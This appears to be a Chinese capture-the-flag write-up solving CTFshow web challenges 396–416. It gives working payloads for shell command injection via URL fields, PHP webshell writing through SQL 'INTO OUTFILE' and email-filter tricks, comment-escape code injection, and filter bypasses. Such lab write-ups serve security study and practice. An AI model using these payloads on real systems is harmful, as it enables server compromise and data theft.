当前位置: 首页 > news >正文

CTFSHOW | 其他篇题解(一)web396-web416

文章目录

    • 前言
    • 题目列表
      • web396
      • web397
      • web398
      • web399
      • web400
      • web401
      • web402
      • web403
      • web404
      • web405
      • web406
      • web407
      • web408
      • web409
      • web410
      • web411
      • web412
      • web413
      • web414
      • web415
      • web416

前言

由于题目比较多,所以分三个部分来写,这是第一部分

题目列表

web396

打开题目,可以看到给出了代码

会解析传入的URL,然后提取其中的host和path放入代码中执行

我们分析一下URL结构,举个例子

https://www.example.com:8080/path/to/resource?user=alice#section1
部分示例说明
schemehttps协议(常见有http、https、ftp等)
hostwww.example.com主机地址/域名
port8080端口号(省略时默认http是80,https为443)
path/path/to/resource路径,资源在服务器的位置
query?user=alice查询参数
fragment#section1页面锚点,供浏览器滚动到指定位置

回到题目,shell_exec函数可以执行系统命令,因此有很多方法可以做这题

方法一:反引号执行系统命令

用反引号执行系统命令,传入参数

?url=http://`ls`/var/www/html/1.txt

然后打开1.txt查看结果

直接读取flag即可

?url=http://`cat fl0g.php`/var/www/html/1.txt

方法二:$()执行系统命令

在Shell脚本或命令行里,$()语法可以用来执行系统命令。它的作用叫“命令替换”:会把括号里的命令先执行,然后用输出结果代替$()这个表达式的内容

读取当前目录内容

?url=http://$(ls)/var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/var/www/html/1.txt

方法三:分号截断命令

可以用分号截断当前命令,然后执行新命令,可以直接写文件、写webshell,或者反弹shell都可以,看你喜欢哪个

读取当前目录内容

?url=http://1/1;echo `ls` > 1.txt

读取flag

?url=http://1/1;echo `cat fl0g.php` > 1.txt

web397

这次把内容写进了/tmp目录里

因为/tmp是在根目录,用../返回上一级即可,方法跟之前一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

方法三:分号截断命令

读取当前目录内容

?url=http://1/1;echo `ls` > 1.txt

读取flag

?url=http://1/1;echo `cat fl0g.php` > 1.txt

web398

对host部分过滤了分号,方法三用不了,其他步骤跟web397一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web399

对host过滤了分号和>,影响的还是步骤三,步骤一和步骤二不影响

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web400

在web399的基础上多过滤了http和https,且不区分大小写,不过影响不大,步骤跟上题一样

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web401

这题把解析后的URL打印了出来,然后比上题多过滤了反斜杠,不过不影响做题

方法一:反引号执行系统命令

读取当前目录内容

?url=http://`ls`/../var/www/html/1.txt

读取flag

?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=http://$(ls)/../var/www/html/1.txt

读取flag

?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web402

这题对scheme协议做了过滤,要求不能出现http和https,随便输入个东西替换即可

方法一:反引号执行系统命令

把http换成1,然后跟之前一样传参即可

?url=1://`ls`/../var/www/html/1.txt

读取1.txt内容

读取flag

?url=1://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

?url=1://$(ls)/../var/www/html/1.txt

读取flag

?url=1://$(cat fl0g.php)/../var/www/html/1.txt

web403

先看看代码

过滤规则改了,我们分析一下

if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){

这段代码用正则表达式判断 $url['host'] 是否是一个合法的IPv4地址。具体解释如下:

  • /^...$/ :匹配整个字符串(从头到尾),保证整个输入就是IP,不夹杂其他字符
  • ((2[0-4]\d|25[0-5]|[1]?\d\d?)\.){3} :匹配前三段,每段数字+点。每段数字规则如下:
    • 2[0-4]\d:匹配200-249
    • 25[0-5]:匹配250-255
    • ?\d\d?:匹配0-199(包括1位、2位、3位数字,即0-9、00-99、100-199)
  • 最后一段没有点,只剩数字部分,规则同上

综合起来,这个正则表达式能精确匹配0.0.0.0~255.255.255.255范围内的IPv4地址格式

因此之前的方法一和方法二都用不了,但是方法三可以用了,咱们用分号截断之前的命令并执行新命令

读取当前目录内容

?url=http://127.0.0.1/1;echo `ls` > 1.txt

读取flag

?url=http://127.0.0.1/1;echo `cat fl0g.php` > 1.txt

web404

这题说起来挺好笑的,刚开始看到标题写了“容器生成较慢,得多等一会儿”,我真以为要多等一会,硬生生等了几十分钟,结果点进去还是404,就觉得奇怪。后面看到图片还一闪一闪的,好家伙这网页还带自动刷新的,发现不对劲后点开源码看看,结果真被坑了

后面想了一会,应该是因为这题是web404,估计官方想借此整活,也是被气笑了

回归正题,我们看到源码里写了404.php,拼接进网页访问

可以看到比上题多了个正则匹配

if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){

简单来说,这个正则表达式检测的字符串必须是:

  • 以斜杠 / 开头
  • 斜杠后面跟着至少一个字母或数字
  • 整个字符串中不能有空格或其他符号

比如符合的路径有:

  • /abc
  • /A1B2C3
  • /12345

然后host部分的正则匹配也改了

if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){

其中:

  • (2[0-4]\d|25[0-5]|[1]?\d\d?) 是0-255范围内的一段数字
  • ((...)\.){3} 表示前三个数字段加点

但因为最后的.是匹配任意字符,该正则会匹配形如“192.168.1.1a”或“10.0.0.1/”这类,末尾允许至少跟着一个字符,不是严格的IP地址校验。而且也没有用开头 ^ 和结尾 $ 锚点来表示必须完全匹配整个字符串,这给了我们机会,可以用分号截断命令

读取当前目录内容

?url=http://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

?url=http://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web405

先看看代码

这次多了对scheme的检测,要求必须包含波浪号、点号或者php字符其中之一,因此我们改一下协议即可,方法跟之前一样

读取当前目录内容

?url=php://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

?url=php://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web406

先看代码

源码提示flag in db,说明flag放在数据库。然后对传入的参数url进行了过滤,去除了无效url地址

联合注入写入webshell即可,空格用/**/代替,不然会不行

?url=http://127.0.0.1/'union/**/select/**/1,'<?=eval($_POST[1]);?>'/**/into/**/outfile/**/'/var/www/html/1.php#

然后打开1.txt查看,可以看到成功写入

蚁剑连接webshell即可

可以看到有个config.php配置文件

打开可以获取数据库账号密码

然后打开数据库操作页面

添加数据库,如图所示

成功找到flag

web407

先看代码

这题改成了要求输入参数ip,且要求必须为IP地址以通过FILTER_VALIDATE_IP验证

然后我们的目标是执行cafe类的add函数,可以用::来调用函数

payload:

?ip=cafe::add

cafe::add会被当成IPv6地址,从而通过FILTER_VALIDATE_IP验证,展开的话就类似

cafe:0000:0000:0000:0000:0000:0000:0add

然后打开网页源代码查看flag即可

我们分析一下IPv6构造:

IPv6地址的构造规则比较复杂,支持多种简写和压缩形式

  • IPv6地址由8组4位十六进制数字(0-9,a-f)组成,中间用冒号 : 分隔,如 2001:0db8:85a3:0000:0000:8a2e:0370:7334
  • 可以使用双冒号 :: 缩写连续的零,比如 2001:db8::1 表示中间连续的0可省略
  • 各部分区段中的数字可以使用小写或大写的十六进制字符

用个表格来概括就是

特点说明
长度128位(二进制)
分组8组,每组16位,用冒号分隔
表示采用十六进制数字表示,每组4位
前导零省略可省略每组开头的零
连续多个0压缩为::每个地址只能出现一次::
地址类型多样单播、组播、任播,特殊前缀表示不同用途
IPv4兼容和过渡地址支持将IPv4嵌入IPv6地址
接口标识符自动生成通过EUI-64等标准根据MAC生成

例如,典型IPv6地址是

2001:0db8:85a3::8a2e:0370:7334

它等价于展开的

2001:0db8:85a3:0000:0000:8a2e:0370:7334

web408

先看代码

这次改成了验证是否满足邮箱格式了,我们介绍一下FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL 是 PHP 内置的一个专门用来验证电子邮件格式是否合法的过滤器

它会根据RFC 5322标准对邮箱格式做校验,包括:

  • 检查是否存在且且只有一个 @ 符号
  • @ 前面的部分是邮箱用户名,允许的字符包括字母、数字、点 (.)、下划线 (_) 和连字符 (-) 等
  • @ 后面的部分是邮箱域名,必须包含有效的域名格式,比如 example.com,包含至少一个点号 (.),并且顶级域名部分也要正确
  • 避免使用不合法或不允许的特殊字符
  • 验证邮箱的整体格式符合国际标准,不过不验证邮箱是否真实存在

然后file_put_contents格式为

file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]])
  • $filename:要写入的文件路径和名称,如果文件不存在,则会自动创建
  • $data:写入文件的数据,可以是字符串、数组或者流资源
  • $flags(可选):
    • FILE_APPEND:将数据追加到文件末尾,而不是覆盖
    • LOCK_EX:写入时给文件加独占锁,以防止其他进程同时写入导致数据混乱
    • FILE_USE_INCLUDE_PATH:在包含路径中搜索文件
  • $context(可选):用于修改资源流的行为

可以把非法字符放在双引号里绕过email@的前缀限制,因此payload为

?email="<?=eval($_POST[1]);?>"@1.php

然后蚁剑连接

在根目录找到flag

web409

先看代码

会过滤掉任意字符后的flag,这题我们可以通过闭合PHP代码来做

payload:

?email="flageval($_POST[1]);?>"@1.com

通过在前面加上flag来触发$email=preg_replace('/.flag/', '', $email);这一行代码,会删掉前面的"flag,接着?>闭合代码

然后POST传参执行命令即可

1=system('ls /');

读取flag即可

1=system('cat /flag');

web410

先看代码

这次是通过布尔判断输入的b是否是”1“

根据PHP文档,FILTER_VALIDATE_BOOLEAN 会把下列字符串(不区分大小写)视为true

  • "1"
  • "true"
  • "on"
  • "yes"

以下对应的字符串(不区分大小写)视为false

  • "0"
  • "false"
  • "off"
  • "no"
  • ""(空字符串)

然后题目过滤了大于0的数字和true字符串,那我们传入on和yes都可以,大小写都行

payload:

?b=yes

或者

?b=on

web411

先看代码

跟上题一样,不过这次把on的大小写过滤了,我们用yes或TRUE等都可以,太多方法可以绕过了

payload:

?b=yes

web412

先看代码

这次是POST传参ctfshow,然后添加到flag.php末尾,同时前面还有个注释符//

%0a换行即可

payload:

ctfshow=%0aeval($_POST[1]);

然后蚁剑连接webshell

flag.php找到flag

web413

这题相比上一题,注释的方式改了

ctfshow变量被包含在多行注释符/**/里面了

只需前后加个注释符即可

payload:

ctfshow=*/eval($_POST[1]);/*

然后跟上题一样,蚁剑连接webshell,在flag.php找到flag

web414

先看代码

我们简单分析一下代码

if ($ctfshow == true)

判断变量$ctfshow是否等于true,只有在$ctfshow为真时,才会执行内部判断

sqrt($ctfshow) >= sqrt(intval($flag))
  • sqrt()是取平方根函数
  • intval($flag)$flag转换为整数
  • 判断$ctfshow的平方根是否大于等于$flag整数值的平方根

只有当$ctfshow的平方根小于$flag整数的平方根时,才会显示flag

然后我们再来分析一般情况下布尔判断条件

被视为 false 的值:

  • 布尔 false
  • 整数 0
  • 浮点数 0.0
  • 空字符串 ""(包含字符串 “0”)
  • 字符串 "0"
  • 空数组 []
  • NULL

被视为 true 的值:

  • 任意非零数字,例如1-13.14
  • 非空字符串,且不等于 "0",如 "false""off""hello" 等都会被认为是真
  • 非空数组
  • 资源类型
  • 对象

因此这题我们只要传入非零负数即可成功通过验证

payload:

?ctfshow=-1

web415

先看代码

在PHP中,函数名是不区分大小写的,这意味着定义函数时用的名字,如getflag(),在调用时可以写成getflag()GetFlag()GETFLAG()等,都会被正确识别并调用

不过需要注意的是,虽然函数名调用不区分大小写,但变量名是区分大小写的

payload:

?k=getFlag

然后源代码查看flag即可

web416

先看代码

我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可

补充解释一下,它主要用于:

  • 访问类的静态属性静态方法
  • 访问类的常量
  • 调用父类(parent::)、当前类(self::)、或静态绑定类(static::)的成员

payload:

?f=ctf::flag

然后源代码查看flag即可

http://www.dtcms.com/a/342744.html

相关文章:

  • 学习日志39 python
  • 华为iVS1800接入SVMSPro平台
  • Web3 的发展挑战:技术、监管与生态的多重困境
  • 使用C++11改进工厂方法模式:支持运行时配置的增强实现
  • 【Ansible】将文件部署到受管主机1:文件模块
  • Autoware Universe 感知详解 | 第二节 宏观认识Autoware Universe感知模块整体架构
  • C++中的内存管理(二)
  • 第四章:大模型(LLM)】07.Prompt工程-(6)受限生成和引导生成
  • 机械试验台功能量具平台:铸铁工装平台
  • 阿里云对象存储OSS之间进行数据转移教程
  • 小迪安全v2023学习笔记(六十八讲)—— Java安全原生反序列化SpringBoot攻防
  • iOS沙盒机制
  • 【系统信息相关】datecal命令
  • React + Antd+TS 动态表单容器组件技术解析与实现
  • (栈)Leetcode155最小栈+739每日温度
  • Python爬虫实战:研究puzzle,构建谜题类数据采集分析系统
  • 编程语言与存储过程:业务处理的速度与取舍
  • 3ds Max 渲染动画总模糊?
  • 基于stm32的智能建筑能源管理系统/基于单片机的能源管理系统
  • 【Java SE】认识数组
  • 【Protues仿真】基于AT89C52单片机的舵机和直流电机控制
  • 【新启航】3D 扫描逆向抄数全流程工具与技能:从手持设备到 CAD 建模的 10 项核心配置解析
  • windows10安装playwright
  • Workerman在线客服系统源码独立部署
  • 笔记本电脑Windows+Ubuntu 双系统,Ubuntu无法挂载Windows的硬盘 报错问题解决
  • TDengine IDMP 运维指南(常见问题)
  • 天眼应急案例(二)
  • 一句话生成uml图相关操作
  • MTK平台蓝牙学习-- 如何查看蓝牙连接参数
  • Vitest 测试框架完全指南 – 极速单元测试解决方案